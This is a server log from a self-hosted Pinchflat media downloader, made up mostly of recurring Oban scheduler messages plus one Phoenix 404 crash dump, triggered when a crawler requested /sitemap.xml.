{"source":"oban","duration":3060,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:20:04.336 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:34.338 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.507 [info] {"source":"oban","duration":1199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:21:04.342 [info] {"source":"oban","duration":3432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:34.345 [info] {"source":"oban","duration":2747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.509 [info] {"source":"oban","duration":1427,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:22:04.350 [info] {"source":"oban","duration":3420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:17.513 [info] GET /sitemap.xml 08:22:17.515 [debug] QUERY OK source="settings" db=0.8ms idle=1931.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:17.516 [debug] QUERY OK source="settings" db=0.5ms queue=0.5ms idle=1933.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:17.516 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:22:17.517 [error] #PID<0.1252057.0> running PinchflatWeb.Endpoint (connection #PID<0.1252055.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1252055.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49468}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1252057.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKet28mpJUQ1zTMADGFC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1252055.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49468}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1252055.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49468}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1252057.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKet28mpJUQ1zTMADGFC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 08:22:34.357 [info] {"source":"oban","duration":5645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.511 [info] {"source":"oban","duration":1330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:23:04.360 [info] {"source":"oban","duration":2726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:34.363 [info] {"source":"oban","duration":2202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.516 [info] {"source":"oban","duration":1887,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:24:04.365 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:34.368 [info] {"source":"oban","duration":2511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.517 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:25:04.370 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:34.372 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.519 [info] {"source":"oban","duration":744,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:26:04.375 [info] {"source":"oban","duration":2397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:34.377 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.522 [info] {"source":"oban","duration":1795,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:27:04.380 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:34.382 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.523 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:28:04.384 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:34.387 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.532 [info] {"source":"oban","duration":656,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:29:04.389 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:34.392 [info] {"source":"oban","duration":2700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.533 [info] {"source":"oban","duration":595,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:30:04.394 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:34.397 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.535 [info] {"source":"oban","duration":1573,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:31:04.401 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:34.404 [info] {"source":"oban","duration":2162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.537 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:32:04.406 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:34.408 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.541 [info] {"source":"oban","duration":3660,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:33:04.411 [info] {"source":"oban","duration":2434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:34.413 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.542 [info] {"source":"oban","duration":499,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:34:04.415 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:34.417 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.543 [info] {"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:35:04.419 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:34.421 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.544 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:36:04.423 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:34.425 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.548 [info] {"source":"oban","duration":3754,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:37:04.428 [info] {"source":"oban","duration":2443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:34.431 [info] {"source":"oban","duration":2044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.553 [info] {"source":"oban","duration":3372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:38:04.433 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:34.435 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.556 [info] {"source":"oban","duration":2230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:39:04.437 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:34.439 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.557 [info] {"source":"oban","duration":486,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:40:04.443 [info] {"source":"oban","duration":2754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:34.446 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.558 [info] {"source":"oban","duration":437,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:41:04.449 [info] {"source":"oban","duration":2464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:34.451 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.563 [info] {"source":"oban","duration":2130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:42:04.453 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:34.457 [info] {"source":"oban","duration":2136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.565 [info] {"source":"oban","duration":1641,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:43:04.459 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:34.461 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.567 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:44:04.463 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:34.468 [info] {"source":"oban","duration":3887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.569 [info] {"source":"oban","duration":682,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:45:04.471 [info] {"source":"oban","duration":2114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:34.473 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.571 [info] {"source":"oban","duration":1210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:46:04.475 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:34.478 [info] {"source":"oban","duration":2327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.572 [info] {"source":"oban","duration":479,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:47:04.480 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:34.482 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.574 [info] {"source":"oban","duration":1306,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:48:04.484 [info] {"source":"oban","duration":1868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:34.487 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.576 [info] {"source":"oban","duration":1434,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:49:04.489 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:34.491 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.579 [info] {"source":"oban","duration":1093,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:50:04.494 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:34.497 [info] {"source":"oban","duration":2043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.580 [info] {"source":"oban","duration":721,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:51:04.500 [info] {"source":"oban","duration":2438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:34.506 [info] {"source":"oban","duration":5841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.584 [info] {"source":"oban","duration":1130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:52:04.509 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:34.511 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.587 [info] {"source":"oban","duration":1546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:53:04.513 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:34.516 [info] {"source":"oban","duration":2201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.591 [info] {"source":"oban","duration":2364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:54:04.518 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:34.521 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.594 [info] {"source":"oban","duration":648,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:55:04.523 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:34.525 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.595 [info] {"source":"oban","duration":587,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:56:04.527 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:34.530 [info] {"source":"oban","duration":1947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.596 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:57:04.532 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:34.534 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.598 [info] {"source":"oban","duration":1373,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:58:04.536 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:34.538 [info] {"source":"oban","duration":1762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.599 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:59:04.542 [info] {"source":"oban","duration":1952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:34.544 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.601 [info] {"source":"oban","duration":921,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:00:04.547 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:34.550 [info] {"source":"oban","duration":2365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.603 [info] {"source":"oban","duration":1097,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:01:04.553 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:34.556 [info] {"source":"oban","duration":2161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.605 [info] {"source":"oban","duration":1449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:02:04.558 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:34.560 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.608 [info] {"source":"oban","duration":1495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:03:04.562 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:34.565 [info] {"source":"oban","duration":2715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.609 [info] {"source":"oban","duration":855,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:04:04.568 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:34.570 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.612 [info] {"source":"oban","duration":1586,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:05:04.574 [info] {"source":"oban","duration":3135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:34.576 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.616 [info] {"source":"oban","duration":585,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:06:04.578 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:34.581 [info] {"source":"oban","duration":2262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.619 [info] {"source":"oban","duration":2158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:07:04.584 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:34.586 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.621 [info] {"source":"oban","duration":1042,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:08:04.588 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:34.590 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.623 [info] {"source":"oban","duration":1299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:09:04.592 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:34.594 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.626 [info] {"source":"oban","duration":883,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:10:04.598 [info] {"source":"oban","duration":2766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:34.600 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.632 [info] {"source":"oban","duration":4966,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:11:04.602 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:34.607 [info] {"source":"oban","duration":4520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.634 [info] {"source":"oban","duration":1276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:12:04.609 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:34.611 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.636 [info] {"source":"oban","duration":1116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:13:04.615 [info] {"source":"oban","duration":3209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:34.617 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.637 [info] {"source":"oban","duration":500,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:14:04.619 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:34.621 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.639 [info] {"source":"oban","duration":1112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:15:04.623 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:34.625 [info] {"source":"oban","duration":1791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.640 [info] {"source":"oban","duration":398,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:16:04.628 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:34.631 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.643 [info] {"source":"oban","duration":2612,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:17:04.633 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:34.636 [info] {"source":"oban","duration":2507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.645 [info] {"source":"oban","duration":924,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:18:04.638 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:34.641 